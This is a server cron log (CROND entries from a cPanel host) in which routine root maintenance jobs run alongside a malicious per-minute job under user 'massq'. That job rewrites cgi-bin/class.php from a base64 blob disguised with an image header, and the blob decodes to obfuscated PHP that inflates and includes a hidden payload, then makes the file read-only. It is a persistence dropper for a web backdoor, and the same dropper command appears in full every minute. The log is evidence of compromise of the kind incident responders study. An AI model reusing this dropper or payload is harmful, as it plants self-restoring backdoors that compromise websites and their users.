Sep 11 04:20:01 server CROND[5346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:21:01 server CROND[6185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:21:01 server CROND[6186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:21:01 server CROND[6191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:22:02 server CROND[6552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:22:02 server CROND[6553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:22:02 server CROND[6554]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:23:01 server CROND[6935]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:23:01 server CROND[6936]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:23:01 server CROND[6937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:24:01 server CROND[7312]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:24:01 server CROND[7313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:24:01 server CROND[7314]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:25:01 server CROND[7783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:25:01 server CROND[7789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:25:01 server CROND[7793]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:25:01 server CROND[7794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:25:01 server CROND[7796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:25:01 server CROND[7795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:25:01 server CROND[7798]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 04:25:01 server CROND[7799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:26:01 server CROND[8620]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:26:01 server CROND[8621]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:26:01 server CROND[8622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:27:01 server CROND[8993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:27:01 server CROND[8994]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 04:27:01 server CROND[8995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:27:01 server CROND[8996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:28:01 server CROND[9370]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:28:01 server CROND[9371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:28:01 server CROND[9372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:29:01 server CROND[9753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:29:01 server CROND[9754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:29:01 server CROND[9755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:30:01 server CROND[10177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 04:30:01 server CROND[10179]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 04:30:01 server CROND[10189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:30:01 server CROND[10190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:30:01 server CROND[10195]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 04:30:01 server CROND[10191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 04:30:01 server CROND[10192]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep 11 04:30:01 server CROND[10193]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 04:30:01 server CROND[10194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 04:30:01 server CROND[10197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:31:01 server CROND[11034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:31:01 server CROND[11035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 04:31:01 server CROND[11036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 04:32:01 server CROND[11490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 04:32:01 server CROND[11491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
